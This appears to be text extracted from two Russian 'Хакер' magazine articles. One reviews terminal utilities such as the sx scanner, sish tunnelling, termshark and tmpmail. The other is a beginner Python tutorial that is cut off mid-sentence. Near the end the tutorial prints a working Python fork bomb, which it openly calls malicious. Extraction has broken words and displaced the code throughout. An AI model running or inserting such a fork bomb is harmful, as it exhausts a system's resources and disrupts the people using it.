https://github.com/aristocratos/bpytop
https://dystroy.org/rhit/
https://goaccess.io/
https://github.com/tstack/lnav
https://lnav.org/
https://matteoguadrini.github.io/Butterfly-Backup/
https://github.com/dylanaraps/pure-bash-bible
https://github.com/dylanaraps/pure-sh-bible
https://xakep.ru/2017/05/18/cli-console-tips/
https://linuxcommandlibrary.com/basic/oneliners.html
https://github.com/Kron4ek/Conty


МАГИЯ КОНСОЛИ
ПОДБИРАЕМ ПОЛЕЗНЫЕ УТИЛИТЫ

ДЛЯ РАБОТЫ В ТЕРМИНАЛЕ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÑÅÒÜ

SX Network Scanner

По завере ниям раз работ чиков,  — это чуть ли не на голову луч шая
аль тер натива Nmap. Вот спи сок пред лага емых фич:

SX Scanner

в 30 раз быс трее Nmap;•
ARP-ска ниро вание для поис ка живых хос тов в локаль ных сетях;•
ICMP-ска ниро вание для детек та пра вил фай рво ла;•
клас сичес кое TCP SYN ска ниро вание (ска ниро вание с помощью полу- 
откры тых соеди нений) для поис ка пор тов;

•

ска ниро вание для обхо да некото рых фай рво лов с исполь зовани ем TCP
FIN, NULL и Xmas пакетов. То же самое уме ет и Nmap, как ты пом нишь;

•

мож но вруч ную уста новить какие угод но фла ги в пакетах ска ниро вания, а в
отче те получить фла ги отве тов. Доволь но инте рес ная фича, которую я
боль ше ниг де не встре чал, но и ни разу в ней не нуж дался, если чес тно;

•

по иск даже UDP-пор тов. Надеж ность поис ка, само собой, оставля ет
желать луч шего, но исполь зование ICMP для уточ нения резуль тата —
однознач ный плюс;

•

ска ниро вание некото рых при ложе ний: сюда вхо дит Docker, Elasticsearch
и Socks5. Для Docker ищет ся откры тый Docker API, через который чита ется
информа ция о ноде; для Elasticsearch выг ружа ется информа ция о клас- 
тере и его индексах. С Socks5 все сов сем прос то — sx сооб щает толь ко
факт работы Socks5 без каких-либо под робнос тей;

•

ре зуль таты выводит в JSON — все как у людей! Конеч но, и для авто мати- 
чес кой обра бот ки это куда удоб нее.

•

Sx работа ет из тер минала (как, впро чем, боль шинс тво рас смот ренных сегод- 
ня прог рамм) и пол ностью написан на Go, чем мож но объ яснить его быс тро- 
дей ствие.

Gping

Еще один кра сивый инс тру мент в твою копил ку «псев догра фичес ких свис- 
топер делок» —  пря мо в окне тер минала.ping с визу али заци ей

grepcidr — àíàëèç IP-àäðåñîâ

 для тех, кому уже надо ело писать регуляр ки для поис ка IP-адре сов
с помощью . Работа ет оно нес коль ко шус трее, чем , но, что бы нуж на
была отдель ная ути лита, у тебя дол жно быть  работы
с IP-адре сами.

Ути лита
grep grep

дей стви тель но мно го

sish

Ког да тебе нуж но проб росить какой-то сер вис в интерне те, при этом не имея
чес тно го «белого» IP, ты можешь вос поль зовать ся сер висами вро де Ngrok
или Serveo. Аль тер натив по боль шому сче ту нем ного: голый SSH или кус-
тарные self-hosted-решения.

Туннелирование через SSH
Ты, конеч но, зна ешь о воз можнос ти проб расывать пор ты через SSH. А что
нас чет пол ноцен ного VPN? На эту тему есть отличный матери ал  и на

, если ты зна ешь англий ский. Впро чем, текст прип равлен кар- 
тинка ми со схе мами работы команд, а все при меры мож но без болез ненно
запус тить у себя и поп робовать в дей ствии.

на Хаб ре
Robotmoon

К таким самодел кам отно сит ся и про ект  — кра сивая и удоб ная аль тер- 
натива Ngrok, сде лан ная поверх обыч ного SSH.

sish

Sish — это не прос то пач ка скрип тов для запус ка SSH-фор вардин га.
Это пол ноцен ная реали зация SSH-сер вера, который толь ко фор вардинг
и зна ет, зато дела ет это куда луч ше, чем офи циаль но рас простра няемая вер- 
сия. В час тнос ти, sish уме ет слу шать и муль тип лекси ровать HTTP- и HTTPS-
тра фик с под дер жкой WebSocket (в том чис ле шиф рован ного), если
при запус ке фор вардин га ука зать уда лен ный порт 80 или 443. В про тив ном
слу чае будет проб рошен TCP-порт, если он не занят на сер вере.

Офи циаль ная инс трук ция по уста нов ке сос тоит все го из двух команд:

docker pull antoniomika/sish:latest 

 docker run -itd --name sish \
 -v ~/sish/ssl:/ssl \
 -v ~/sish/keys:/keys \
 -v ~/sish/pubkeys:/pubkeys \
 --net=host antoniomika/sish:latest \
 :22 --ssh-address= \
 :80 --http-address= \
 :443 --https-address= \
  --https=true \
 /ssl --https-certificate-directory= \
 --authentication-keys-directory=/pubkeys \
 --private-key-location=/keys/ssh_key \
 --bind-random-ports=false

Пос ле это го мож но прос то проб расывать пор ты как через обыч ный SSH.
Но это мож но было бы делать и так, а ты луч ше пос мотри, что будет, если сде- 
лать некото рые нас трой ки по инс трук ции в репози тории:

ssh -R xakep_ru:80:localhost:8080 your_domain.com 

Оп — и  будет проз рачно перенап- 
равлен на твой локаль ный порт 8080! Само собой, одновре мен но может жить
сколь ко угод но сес сий.

http://xakep_ru.your_domain.com

Termshark

 — это кон соль ный фрон тенд для tshark. Уме ет, нап ример, читать
pcap или зах ватывать тра фик в реаль ном вре мени, пря мо как «взрос лый»
Wireshark.

Termshark

Есть под дер жка филь тров, мож но авто мати чес ки собирать TCP-потоки
из отдель ных пакетов, прос матри вать содер жимое пакетов в соот ветс твии
с про токо лом.

На писан Termshark на Go и собира ется под любую плат форму — готовые
бил ды уже дос тупны для Linux, Windows, BSD, Android (поверх Termux) и даже
macOS!

Скрипты для SSH
Для SSH мы соб рали сра зу нес коль ко полез ных, да и прос то инте рес ных инс- 
тру мен тов.

Для начала —  в Telegram при SSH-авто риза ции. Мелочь,
а при ятно!

уве дом ления

Ус танов ка прос та как два руб ля: ска чива ем  в 
 (или дру гую удоб ную пап ку), меня ем нас трой ки в скрип те (API-

токен бота и ID чата, в который слать уве дом ления), веша ем атри бут исполне- 
ния и про писы ваем в конец  сле дующую стро ку:

скрипт /usr/local/bin/
ssh2tg.sh

/etc/pam.d/sshd

session optional pam_exec.so type=open_session seteuid /usr/local/
bin/ssh2tg.sh 

Вто рым покажу тебе малень кого аген та , который выведет
опе ратив ную свод ку атак на твой сер вер.

SSH Attack Stats

Скрин взят из репози тория с прог раммой

Пос ле уста нов ки мож но малость кас томизи ровать вывод. К при меру, сле- 
дующая коман да зас тавит показы вать не боль ше пяти записей из логов SSH:

/usr/local/bin/log-stats ssh -c 5 

Все пояс нения есть в репози тории с прог раммой.

asroute

Ес ли ты инже нер какого-нибудь телеком-опе рато ра, то тебе регуляр но при- 
ходит ся ковырять ся с трас сиров кой, пин гами и боль шими роуте рами.
Для тебя написа ли  — ути литу, которая поз воля ет к выводу

 добавить информа цию об ASN тран зитных мар шру тиза торов.
На при мере это выг лядит так:

asroute
traceroute

 

 

 
traceroute to bhutan.gov.bt (202.144.128.217), 64 hops max, 52 byte 
packets 
-> AS0 (Reserved) 
-> * 
-> BRESNAN-33588, US 
-> LIGHTOWER, US 
-> BRESNAN-33588, US 
-> CHARTER-20115, US 
-> TELIANET Telia Carrier, EU 
-> * 
-> NTT-COMMUNICATIONS-2914, US 
-> DRUKNET-AS DrukNet ISP, BT 
-> BTTELECOM-AS-AP Bhutan Telecom Ltd, BT

$ traceroute -a www.bhutan.gov.bt | asroute

Ус танов ка пока дос тупна толь ко для macOS, но зато дела ется одной коман- 
дой.

brew $ install asroute 

Asroute написан на Rust, так что теоре тичес ки может быть без проб лем ском- 
пилиро ван под любую дру гую плат форму, но на момент написа ния статьи
у меня при себе есть толь ко комп с Windows, у которо го с ком пиляци ей нет- 
радици онно го кода есть извес тные труд ности.

Outrun

Гвоздь прог раммы — скрипт , который поз воля ет зап росто вынес ти
вычис ления за пре делы сла бого тон кого кли ента на мощ ный уда лен ный сер- 
вер, при чем наличие тре буемой ути литы на уда лен ном хос те сов сем не обя- 
затель но. Единс твен ное, что нуж но для работы, — уста нов ленный outrun
на обо их хос тах (и на локаль ном, и на уда лен ном), при чем с наличи ем прав
root (исполь зует ся chroot).

outrun

Как самый оче вид ный при мер (при веден ный даже авто рами outrun) —
мож но запус тить локаль ный виде окон вертер, вро де FFmpeg, с исполь зовани- 
ем ресур сов сер вера. На гиф ке замет на весь ма зна читель ная раз ница
во вре мени выпол нения.

Ус тановить мож но пря мо из .pip

pip3 install outrun 

По том мож но запус тить тре буемую коман ду на уда лен ной машине:

outrun srv4.local neofetch 

Фай ловая сис тема будет дос тупна, буд то локаль ная, и резуль таты работы
коман ды (если есть) тоже будут записа ны в текущую пап ку на локаль ном ком- 
пе.

ÂÅÁ

Webify — òðàíñëèðóåì âûâîä êîíñîëè

С помощью  мож но вывод прак тичес ки любой коман ды тран сли ровать
как веб-сер вис. Хорошее решение для прос того шерин га кон соли: ты запус- 
каешь Webify со сво им сер висом, а дру гой человек рас чехля ет бра узер (или
curl) и вза имо дей ству ет с тво им при ложе нием.

Webify

tmpmail

Этот скрипт — отличный спо соб получить вре мен ный поч товый ящик пря мо
из тер минала. Если ты чита ешь «Хакер» — мне, оче вид но, не нуж но пояс нять,
что это такое и зачем нуж но, так что перей дем сра зу к уста нов ке.

dnf $ sudo install jq curl w3m 
$ wget https://raw.githubusercontent.com/sdushantha/tmpmail/master/
tmpmail 
$ chmod +x tmpmail 

Ге нери руем ящик:

$ ./tmpmail --generate
qpasixkauet@1secmail.net

Про веря ем поч ту:

./tmpmail --recent

ZeroSSL

Ты ведь тоже думал, что бес плат ные SSL-сер тифика ты мож но получить толь ко
у Let’s Encrypt? Уже нет! Ребята из  выкати ли аль тер натив ный сер вис,
где мож но получить все те же сер тифика ты на те же 90 дней. Исполь зовать
мож но ста рый доб рый ACME. Если по каким-то при чинам искал замену ста- 
рич ку Let’s Encrypt — вот она.

ZeroSSL

Про цеду ра выпус ка сов сем нехит рая: прос то ука зыва ешь поч ту и пароль
и под твержда ешь вла дение доменом через DNS или заг рузкой на него задан- 
ного фай ла. Через нес коль ко минут сайт сге нери рует твой сер тификат
и пред ложит его ска чать, а что делать даль ше — не мне тебя учить.

TestTLS

 — это оче ред ной сер вис для про вер ки SSL/TLS, ана лог SSLLabs.testtls.com

Ре зуль тат про вер ки xakep.ru

С его помощью мож но лег ко про верить, пра виль но ли нас тро ен HTTPS
на тво ем (или чужом) сай те.

Полезные сайты и сервисы
Вот еще нес коль ко ссы лок, которые не вхо дят в катего рию ути лит коман дной
стро ки, но могут ока зать ся полез ными.

Public API

 — сайт, на котором соб рана информа ция о пуб личных интерфей сах
самых раз ных сер висов и ссыл ки на докумен тацию. Может при годить ся
в самых раз ных слу чаях — от мар кетин га до OSINT.

Public API

GitExplorer

 — хорошая инте рак тивная шпар галка по Git.GitExplorer

При мер

Grep.app

Те перь  греп нуть по все му GitHub нуж ное нам вхож дение пря мо из бра- 
узе ра. При годит ся для поис ка сек ретов при пен тесте (или на прог рамме bug
bounty) или фла гов от CTF, нап ример.

мож но

Authenticator

Ес ли ты поль зуешь ся двух фактор ной аутен тифика цией — тебе явно при ятно
было бы иметь клю чи для вхо да под рукой, а не в телефо не, который еще най- 
ти надо. Пла гин  для Chrome, Firefox и Microsoft Edge уме ет
генери ровать коды для 2FA пря мо в бра узе ре. Так же дела ет бэкап с шиф- 
ровани ем на Google Drive, Dropbox или OneDrive. Под держи вает клас сичес- 
кие TOTP и HOTP, а еще Steam Guard и Blizzard Authenticator, на слу чай, если
ты поль зуешь ся эти ми пло щад ками.

Authenticator

Free for Dev

 — под борка бес плат ных сер висов, которые могут быть полез ны
для раз работ чиков. Разуме ется, не все они бес плат ны, но вез де ука зан срок
или лимит бес плат ного исполь зования, которо го поч ти всег да более чем
дос таточ но для лич ного исполь зования или тес тов.

Free for Dev

ÈÒÎÃÈ

Ко неч но, ты можешь ска зать, что лег ко про жить без все го это го, а рутин ные
задачи авто мати зиро вать самопис ными скрип тами. Но зачем, если есть
готовые отла жен ные инс тру мен ты, которые бес плат но улуч шат твою работу
и сэконо мят вре мя и нер вы? Хакер — он на то и хакер, что может сде лать
свое рабочее мес то луч ше, чем у дру гих.

https://github.com/v-byte-cpu/sx/releases
https://github.com/orf/gping
https://github.com/frohoff/grepcidr
https://habr.com/ru/post/331348/
https://robotmoon.com/ssh-tunnels/
https://github.com/antoniomika/sish
https://github.com/gcla/termshark
https://github.com/pdacity/ssh2tg
https://raw.githubusercontent.com/pdacity/ssh2tg/master/ssh2tg.sh
https://github.com/Sodium-Hydrogen/SSH-Attack-Stats
https://github.com/stevenpack/asroute
https://github.com/Overv/outrun
https://github.com/beefsack/webify
https://zerossl.com/
https://testtls.com/
https://public-apis.xyz/
https://gitexplorer.com/
https://grep.app/
https://github.com/Authenticator-Extension/Authenticator
https://free-for.dev/
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КОДИНГ

Ес ли ты дума ешь, что хакеру прог рамми рова ние не нуж но, то
глу боко оши баешь ся! Да, мож но кач нуть Kali Linux и юзать
готовые прог рам мки, копипас тить код с форумов и всле пую
качать скрип ты с GitHub. Но потолок тво их уме ний, пока ты
не научишь ся писать и понимать код, будет низ ким. В этой
статье я попыта юсь в дос тупной фор ме научить тебя осно- 
вам прог рамми рова ния. Начина ем с абсо лют ного нуля!

От редакции
Не дав но мы про води ли опрос о том, какой курс по Python был бы инте рес нее
читате лям. Две пер вые строч ки с боль шим отры вом в нем заняли вари анты
«для хакера» и «Python с нуля». Узнав о таком положе нии дел, мы немед ленно
заказа ли статью о том, как начать прог рамми ровать на Python. Если она будет
иметь успех, то может прев ратить ся в целую серию. Отли чие нашего под- 
хода — в том, что мы объ ясня ем все живым язы ком и даем нес кучные при- 
меры. В общем, обу чение в фир менном сти ле «Хакера»!

И, пос коль ку это экспе римент, статья дос тупна без плат ной под писки.

Ес ли у тебя на ком пе есть сов ремен ный дис три бутив Linux, то в него уже вхо- 
дит Python 3, а писать пер вые прог раммы будет удоб но в IDLE — прос том
редак торе кода, который при лага ется к Python. В Ubuntu, что бы уста новить
его, набери в кон соли

sudo apt-get install idle3 

В Windows при уста нов ке Python обя затель но отметь на пер вом экра не уста-
нов щика галоч ку Add to Path, что бы мож но было запус кать  из коман- 
дной стро ки в любом удоб ном мес те.

python3

За пус тив IDLE, зай ди в Options → Congure IDLE, перей ди на вклад ку
General и пос тавь галоч ку на пун кте Open Edit Window, наж ми ОK и переза пус- 
ти IDLE. Теперь мож но писать прог раммы, сох ранять их и запус кать кла вишей
F5. Ну что, пог нали?

ÏÅÐÅÌÅÍÍÛÅ

В любом язы ке прог рамми рова ния есть такая шту ка, как перемен ные. Это как
в школь ной алгебре: вот перемен ная , вот перемен ная . То есть
это такие абс трак тные шту ки, внут ри них лежит зна чение, которое может
менять ся — нап ример, ког да ты пишешь пос ле перемен ной знак рав но
и какое-то новое зна чение.

a = 1 b = 2

  a = 2
    a = a + 2

print(a)

Ну, то, что  — это коман да, которая печата ет на экра не текущее зна- 
чение перемен ной, ты уже понял. Ты написал пос ле зна ка рав но сно ва саму
перемен ную , то есть сна чала в перемен ной было зна чение 2, потом
к это му зна чению при бави ли еще 2. На экра не гор до кра сует ся 4. Поз драв- 
ляю, два и два сло жили!

print(a)

+ 2

А если изна чаль но неиз вес тно, какие чис ла надо скла дывать? Тог да приш- 
лось бы спер ва поп росить юзе ра ввес ти их в кон соли и нажать Enter. Давай
так и сде лаем:

  a = input('Введи, сколько у тебя литров пива: ')
  b = input('Сколько пива принес друг: ')
    c = int(a) + int(b)

    print('На двоих у вас: ' + str(c) + ' литров пива')

Внут ри ско бочек у input ты пишешь пояс нение для юзе ра, что кон крет но его
про сят ввес ти. Но вот беда, по умол чанию все, что вво дит ся через input, счи- 
тает ся не чис лом, а стро кой, поэто му, преж де чем скла дывать количес тво
лит ров пива, нуж но сна чала пре обра зовать вве ден ные стро ки в чис ла
с помощью фун кции int().

INFO

Сло во «фун кция» дол жно быть зна комо тебе
из матема тики. В скоб ках мы пишем то, что она
при нима ет (аргу мент), а на выходе будет резуль- 
тат. Python сна чала под менит перемен ную на ее
текущее зна чение (  на, ска жем, 

, а потом фун кцию — на резуль тат ее выпол- 
нения, то есть 5. Быва ет, что фун кция ничего
не воз вра щает, толь ко что-то дела ет. Нап ример,

 толь ко печата ет аргу мент.

int(a) int(
"5")

print()

Окей, пре обра зовал стро ки в чис ла, положил их в перемен ную , а даль ше-то
что за треш внут ри ско бок у ? Тут скла дыва ются стро ки (стро ки всег да
пишут ся внут ри кавычек), пояс няющие, что имен но выводит ся на экран,
а резуль тат сло жения переда ется в фун кцию .

c
print

print()
Что бы стро ки без болез ненно сло жились с перемен ной , в которой лежит

чис ло, надо пре обра зовать его в стро ку фун кци ей  — так же как мы
прев ращали стро ки в чис ла, толь ко наобо рот.

c
str()

Во обще, типов перемен ных мно го, но суть ты уло вил — что бы про изво дить
с перемен ными какие-то дей ствия, нуж но их сна чала при вес ти к одно му
типу — к стро ково му, или к чис ловому, или еще к какому-нибудь. Если с этим
не замора чивать ся, Python сло жит не чис ла, а стро ки и вве ден ные 2 и 3 лит ра
пива в сум ме дадут не 5, а целых 23. Хорошо бы так было в реаль нос ти!

Вот еще при мер чик, рас счи тыва ющий, сколь ко тебе еще пить пиво, исхо дя
из сред ней про дол житель нос ти жиз ни в Рос сии:

  a = input('Введи, сколько тебе лет: ')
    b = 73 - int(a)

    print('Осталось примерно: ' + str(b) + " лет")

Здесь мы вызыва ем фун кцию , что бы получить зна чение, вычита ем
его из 73 (сред няя про дол житель ность жиз ни рос сияни на), не забыв прев- 
ратить стро ку в чис ло, а потом печата ем резуль тат, прев ратив чис ло обратно
в стро ку и сло жив с дру гими стро ками.

input()

Итак, ты узнал, что такое целочис ленные и стро ковые перемен ные, что эти
типы мож но пре обра зовы вать друг в дру га коман дами  и . К тому
же теперь ты уме ешь получать перемен ные от поль зовате ля с помощью фун- 
кции  и печатать резуль таты с помощью фун кции

.

int() str()

input('Введите что-то')
print()

ÓÑËÎÂÈß

В осно ве любой прог раммы лежат усло вия. В зависи мос ти от того, выпол- 
няют ся они или не выпол няют ся, прог рамма может пой ти по одно му или дру- 
гому пути. Пред ставь, ты едешь на машине и смот ришь на часы: если уже есть
десять вечера, то повора чива ешь домой, если нет, то мож но заехать в гос ти.
Точ но так же работа ет и прог рамма: про веря ет какое-то зна чение и сво рачи- 
вает туда или сюда и выпол няет соот ветс тву ющий кусочек кода.

  beer = input('Введите Yes, если пиво есть, и No, если пива нет: ')
   if beer.lower() == 'yes':

     result = 'Ты взломаешь Пентагон'
else:
     result = 'Ты сломаешь свой мозг'
print(result)

На англий ском if зна чит «если», а else — «ина че» или «в про тив ном слу чае».
В строч ке пос ле if идет усло вие, которое мы про веря ем. Если оно вер но,
выпол няет ся пер вый блок кода (он отде лен четырь мя про бела ми вна чале).
Если невер но, то тот, что пос ле .else:

INFO

Бло ки кода в Python отде лают ся отсту пами.
Отступ на самом деле может быть любым, нап- 
ример некото рые пред почита ют исполь зовать
вмес то четырех про белов кла вишу Tab. Глав ное —
не сме шивать в одной прог рамме отсту пы раз- 
ного типа. Если уж начал исполь зовать четыре
про бела, то исполь зуй по всей прог рамме, а то
Python будет на тебя ругать ся и уни жать.

Еще один важ ный момент здесь — это знак равенс тва в усло вии. Он пишет ся
как двой ное «рав но» ( ) и этим отли чает ся от прис воения — оди нар ного
«рав но».

==

Фун кция lower(), преж де чем срав нивать усло вие, дела ет все бук вы в стро- 
ке малень кими, потому что глу пый юзер может ввес ти сло во YES с горящим
Caps Lock, и это надо пре дус мотреть заранее.

INFO

На самом деле  — не прос то фун кция,
а метод клас са  (стро ка). Имен но поэто- 
му он вызыва ется через точ ку пос ле перемен ной,
которая содер жит стро ку. О клас сах и методах мы
погово рим как-нибудь в дру гой раз, а пока прос- 
то запом ни, что некото рые фун кции вызыва ются
таким обра зом.

lower()
string

Да вай поп робу ем сде лать усло вие для про вер ки логина и пароля, исполь зуя
опе ратор И, который пишет ся как . Он нужен для того, что бы про верить
одновре мен но выпол нение пер вого и вто рого усло вия.

and

  myname = input('Введите логин: ')
  mypass = input('Введите пароль: ')

       if myname == 'xakep' and mypass == 'superpassword123':
     result = 'Добро пожаловать, о великий хакер!'
else:
     result = 'Ты кто такой, давай до свидания...'
print(result)

INFO

Опе ратор в Python — это сим вол, который выпол-
няет опе рацию над одной или нес коль кими
перемен ными или зна чени ями: ариф метичес кие
(«плюс», «минус», «рав но» и так далее), срав нения
(двой ное «рав но», «боль ше», «мень ше» и про чее),
прис ваива ния (рав но и нес коль ко дру гих),
логичес кие опе рато ры ( , , ), опе рато ры
членс тва ( , ) и опе рато ры тож дес твен- 
ности ( , ). Еще есть побито вые опе- 
рато ры для срав нения дво ичных чисел.

and or not
in not in

is is not

Да вай соз дадим еще более слож ное усло вие, исполь зовав опе ратор ,
который перево дит ся как ИЛИ.

or

  myname = input('Введите логин: ')
  mypass = input('Введите пароль: ')

          
    

if(myname == 'ivan' and mypass == 'superpassword123') or (myname ==
'marina' and mypass == 'marinka93'):
         result = 'Привет, ' + myname + '. Добро пожаловать!'
else:
     result = 'Ты кто такой, давай до свидания...'
print(result)

Здесь исполь зуют ся скоб ки — Python не тре бует ско бок для прос тых усло вий,
но для слож ных они при меня ются, что бы явно опре делить порядок дей ствий.
Прог рамма при ветс тву ет толь ко двух поль зовате лей, . То
есть сна чала про веря ется, не сов пали ли логин и пароль с логином
и паролем Ива на, а потом пос ле опе рато ра  про веря ется то же
для Марины.

ivan или marina

or

INFO

Ког да нуж но про верить не одно, а сра зу два
или три усло вия, ты можешь зак лючить каж дое
из них в скоб ки, а меж ду ними ста вить опе рато ры

 или . В слу чае  общее усло вие выпол- 
няет ся, если выпол няет ся хотя бы одно из вхо- 
дящих в него усло вий. В слу чае с , что бы
общее усло вие выпол нилось, дол жны выпол нить- 
ся оба вхо дящих в него усло вия.

or and or

and

Вот еще при мер, в нем исполь зует ся , который озна чает что-то вро де
ИНА ЧЕ-ЕСЛИ. Это при меня ется для задания нес коль ких бло ков команд:
в слу чае, если одно усло вие не выпол няет ся, с помощью ELIF про веря ется
сле дующее и так далее.

elif

  v = int(input('Введи, сколько тебе лет: '))
   if v < 18:

   print('Привет, юный хацкер')
   elif v < 30:

   print('Превед, олдскул')
   elif v < 65:

   print('Решил пересесть с ассемблера на Python?')
   elif v < 100:

   print('На пенсии — самое время покодить')
   elif v < 100000:

   print('Клан бессмертных приветствует тебя!')

В качес тве усло вий могут выс тупать раз личные опе рато ры срав нения:
 (a рав но 9)• a == 9
 (a не рав но 7)• a != 7

 (a боль ше 5)• a > 5
 (a мень ше 5)• a < 5

 (a боль ше или рав но 3)• a >= 3
 (a мень ше или рав но 8)• a <= 8

Ты так же можешь инверти ровать истинность усло вия (true) на лож ность (false)
и обратно с помощью сло ва .not

  beer = input('Введи Yes, если пиво есть, и No, если пива нет: ')
   if beer.lower() == 'yes':

   print('Пива нет!')
    if not beer.lower() == 'yes':

   print('Ура, пиво еще есть!')

Нап ример, нуж но, что бы человек ввел чис ло  (NOT) мень ше 5.íå

  x = int(input('Введи, сколько у вас литров пива: '))
    if not (x < 5):

   print('Все нормально, можно начинать взлом')
else:
   print('Пива недостаточно.')

ÑÏÈÑÊÈ

Обыч ные перемен ные хороши для хра нения оди ноч ных зна чений, будь то
стро ка или чис ло. Но иног да нуж но хра нить груп пу перемен ных. Здесь
на помощь при ходят спис ки.

Нап ример, спи сок может быть таким:

  a = [67,5,90,20,30]

Каж дый эле мент спис ка име ет свой индекс. Что бы получить одно из зна чений
спис ка, мож но обра тить ся к его поряд ковому номеру. Нумера ция в спис ках
идет не с еди ницы, а с нуля, то есть 0, 1, 2, 3, 4...

Ко ман да  напеча тает чис ло 90 — тре тий эле мент (нумера- 
ция-то с нуля!) в спис ке, который был объ явлен выше. Эле мен тов в спис ках
может быть сколь ко угод но.

print(a[2])

Так же мож но сде лать спи сок строк:

      b = ['Маша', 'Ваня', 'Лена', 'Марина', 'Арнольд']

Тог да  напеча тает строч ку .print(b[1]) Ваня
Ты можешь добавить в сущес тву ющий спи сок новое зна чение с помощью

метода :append

b.append('Дима')

Те перь спи сок выг лядит так:

       b = ['Маша', 'Ваня', 'Лена', 'Марина', 'Арнольд', 'Дима']

Ес ли надо обра тить ся к какому-то эле мен ту спис ка, счи тая от кон ца это го
спис ка, мож но писать отри цатель ные чис ла. Нап ример, пос ледний эле мент
спис ка име ет индекс -1, а  напеча тает .print(b[-1]) Дима

Лю бой спи сок мож но отсорти ровать по воз раста нию или по алфа виту.

  a = [67,5,90,20,30]
a.sort()

Пос ле выпол нения фун кции  спи сок при мет такой вид: 
.

a.sort() [5,20,30,
67,90]

Те перь нем ного о сре зах. Срез — это как бы получе ние какой-то час ти
спис ка, которая, в свою оче редь, тоже явля ется спис ком. Сре зы зада ются
таким обра зом:

список[x:y:z]

Здесь  — номер эле мен та, с которо го берет ся срез,  — пос ледний эле мент
сре за,  — интервал, через который мы берем эле мен ты (необя затель ное
зна чение).

x y
z

По луча ем срез эле мен тов спис ка  с 1 и до 3 (4 не вклю чает ся в срез):b

print(b[1:4])

По луча ем срез эле мен тов спис ка  с 2 и до кон ца:b

print(b[2:])

По луча ем каж дый вто рой эле мент спис ка:

print(b[::2])

Ме няем порядок эле мен тов спис ка на обратный:

print(b[::-1])

Кста ти, обыч ные стро ки тоже под держи вают сре зы, их резуль тат тоже будет
стро кой. Нап ример:

  s = 'Hello world'
print(s[:5])

На экран выведет ся Hello, потому что мы напеча тали пер вые пять сим волов
стро ки.

Эле мен тами спис ка могут быть дру гие спис ки. Что бы обра тить ся к эле- 
мен там спис ка внут ри спис ка, исполь зуй еще одни квад ратные скоб ки:

       a = [[1, 2, 3], [44, 45, 46]]

Та кой спи сок из спис ков называ ется дву мер ным и напоми нает таб лицу. Нап- 
ример, что бы получить пер вое чис ло во вто рой стро ке (индексы 0 и 1, пос- 
коль ку нумера ция с нуля), нуж но написать:

print(a[1][0])

Ре зуль тат будет 44.
Спи сок — это изме няемая пос ледова тель ность. Это зна чит, что если ты

сот воришь какие-то дей ствия над спис ком, то тебе не при дет ся его пере- 
опре делять и заново сох ранять в перемен ную. А вот стро ка — это неиз меня- 
емая пос ледова тель ность. Если ты с ней что-то сде лаешь, то при дет ся
куда-то помес тить получен ное новое зна чение.

Еще один неиз меня емый тип дан ных — это кор теж. Это тот же спи сок,
но ты не можешь его изме нять. Так он занима ет мень ше памяти. Объ явить
кор теж мож но с помощью круг лых ско бок:

     a = (1, 2, 3, 4)

Мно жес тво — еще одна пос ледова тель ность эле мен тов, каж дый из которых
не име ет сво его индекса. То есть эле мен ты не упо рядо чены и ты не можешь
обра тить ся к ним по индексу. Зато все эле мен ты мно жес тва уни каль ны и не
пов торя ются. Если тебе нужен набор уни каль ных эле мен тов, ты можешь
помес тить их в мно жес тво. Давай для при мера пре обра зуем име ющий ся спи- 
сок в мно жес тво и уви дим, что в нем не оста нет ся пов торя ющих ся эле мен тов.

        l = [1, 2, 2, 3, 3, 4, 1]
  m = set(l)

print(m)

Ре зуль тат: , то есть пов торя ющиеся эле мен ты исчезли.
Кста ти, если хочешь прев ратить мно жес тво (или что-то дру гое) в спи сок,
исполь зуй фун кцию .

set([1, 2, 3, 4])

list()

ÖÈÊËÛ

Цикл — это блок команд, который пов торя ется опре делен ное количес тво раз.
Цик лы мож но задавать раз ными спо соба ми. К при меру, цикл  час то
исполь зует ся, ког да нуж но прой ти по всем эле мен там пос ледова тель нос ти
вро де спис ка.

for

  lst = [15,50,60,97,78]
   for x in lst:

       x = x + 1
   print(x)

Здесь изна чаль но име ется спи сок чисел, а далее с помощью конс трук ции 
 про ходим по оче реди каж дый эле мент это го спис ка и совер шаем

с ним какие-то дей ствия. Эти дей ствия, как и в слу чае с усло виями, отде ляют- 
ся отсту пом.

for
x in lst

Пе ремен ная  в дан ном слу чае пооче ред но при нима ет зна чение каж дого
эле мен та спис ка , мы при бав ляем к это му зна чению еди нич ку, печата ем
резуль тат и перехо дим к сле дующе му вит ку цик ла — то есть берем сле- 
дующее в спис ке зна чение и дела ем с ним то же самое, и так, пока спи сок
не кон чится.

х
lst

Ес ли прос то нуж но выпол нить коман ды кон крет ное, заранее извес тное
количес тво раз, то исполь зуй цикл  и фун кцию .for range()

  num = 0
   for i in range(5):

     num=num + 1
       print('Я ' + str(num) + ' кружка пива')

Ес ли у тебя есть какой-либо спи сок, мож но лег ко про бежать по нему цик лом:

        
 

mas = ['Ленин', 'Сталин', 'Хрущёв', 'Брежнев', 'Горбачёв', 'Ельцин',
'Путин', 'Медведев']
# Ах да, Путин же потом вернулся. Нужно добавить его еще раз.
mas.append('снова Путин')

   for x in mas:
       print('Был ' + x + ' а после него... ')

Те перь пора узнать о спис ке . Сло во while перево дит ся с англий ско го
как «пока» (не в смыс ле «до сви дания», а в смыс ле «покуда»). То есть коман ды
внут ри цик ла будут выпол нять ся до тех пор, пока выпол няет ся усло вие, обоз- 
начен ное даль ше. Нап ример, вот цикл, который напеча тает все чет ные чис ла
от 1 до 100.

while

  a = 0
   while a < 100:

       a = a + 1
        if (a % 2) == 0:
     print(a)

INFO

Как мы про вери ли, что чис ло чет ное? В этом нам
помог опе ратор , который воз вра щает оста ток
от деления. Если при делении пополам получа- 
ется ноль, зна чит, чис ло чет ное!

%

В цик ле  надо явно ука зывать изме нение перемен ной, которая отве чает
за усло вие, ина че цикл может стать бес конеч ным и прог рамма завис нет.

while

Нем ного забегая впе ред, покажу, как соз дать очень малень кий, но вре- 
донос ный скрипт, называ емый форк-бом бой. Он бес конеч но соз дает свои
копии в ОЗУ, чем может выз вать нехилые тор моза:

 import os
 while True:

   a=os.fork()

Тут мы дела ем новую вещь, которую тоже сто ит запом нить, — импорти руем
модуль, а имен но модуль , в котором содер жатся коман ды для обра щения
к раз ным фун кци ям опе раци онной сис темы.

os

По том внут ри цик ла  соз даем бес конеч ные копии. В качес тве усло- 
вия мы здесь написа ли прос то , то есть прос то «исти на». Тело цик ла
никак это зна чение не меня ет, и поэто му цикл будет исполнять ся сно ва и сно- 
